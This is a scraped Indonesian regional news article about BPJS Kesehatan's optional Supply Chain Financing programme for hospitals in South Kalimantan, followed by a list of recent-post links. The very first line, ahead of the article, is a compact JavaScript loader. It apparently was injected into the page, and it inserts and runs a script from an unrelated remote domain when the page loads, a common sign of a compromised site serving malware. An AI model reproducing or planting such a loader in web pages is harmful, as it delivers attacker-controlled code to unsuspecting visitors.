(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

BPJS Kesehatan Tawarkan SCF, Baru 9 Rumah Sakit di Kalsel Bekerjasama


BANJARMASIN, Defisit anggaran yang dialami BPJS Kesehatan, sehingga menawarkan program Supply Chain Financial (SCF) kepada rumah sakit yang melibatkan pihak ketiga yaitu perbankan. Hal ini tertuang dalam Surat Edaran Kemenkes Nomor HK.02.01/Menkes/286/2019.

Program SCF sendiri, bertujuan membantu cash flow rumah sakit tidak terganggu akibat tunggakan dari BPJS Kesehatan. Kendati demikian, dari 41 rumah sakit di Kalsel yang bekerjasama dengan BPJS Kesehatan Cabang Banjarmasin, baru 9 rumah sakit yang menggunakan program SCF yang ditawarkan BPJS Kesehatan.

Sembilan rumah sakit itu antara lain, 1 rumah sakit pemerintah yaitu RSD Idaman Banjarbaru dan 8 rumah sakit swasta yaitu RS Islam Banjarmasin, RS Sari Mulia Banjarmasin, RS Aveciena Medika Martapura, RS Danau Salak, RS Ainun Pelaihari, RS Mawar Banjarbaru, RS Marina Permata Batulicin, dan RS Paradise Batulicin.

Kepala Cabang BPJS Kesehatan Banjarmasin Tutus Novita Dewi menekankan, program SCF hanyalah sebatas opsional.

“Apabila rumsah sakit kesulitan cashflow saat keterlambatan pembayaran. Ini pilihan ya, apabila merasa kesulitan,” kata Tutus usai media gathering di salah satu rumah makan ternama di kawasan Achmad Yani Banjarmasin, Selasa (15/10) petang.

Program SCF sendiri, diberikan kepada rumah sakit dengan jumlah nominal yang berbeda. “RS hanya bisa mengajukan program SCF maksimal sebesar piutang BPJS Kesehatan, tidak boleh lebih,” katanya. Karena, menurut Tutus, yang dijaminkan melalui program SCF adalah piutang BPJS Kesehatan kepada pihak rumah sakit. 

“Karena (program SCF) pilihan, jadi tergantung manajemen rumah sakit,” tegasnya. “Jadi tugas kami saat ini yaitu menyampaikan terkait SCF sebagai opsi kepada semua rumah sakit,” tambahnya.

Ketika ditanya mengapa hanya ada satu RS pemerintah yang memanfaatkan program SCF, Tutus berdalih bahwa sebagian RS mengklaim cashflow masih mencukupi. 

“Jadi prinsipnya kalau rumah sakit merasa cash flow-nya masih mencukupi, maka tidak ada kewajiban bagi mereka untuk mengambil SCF karena ini opsi, tergantung kondisi rumah sakit,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

8 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

9 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

9 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

15 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

15 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.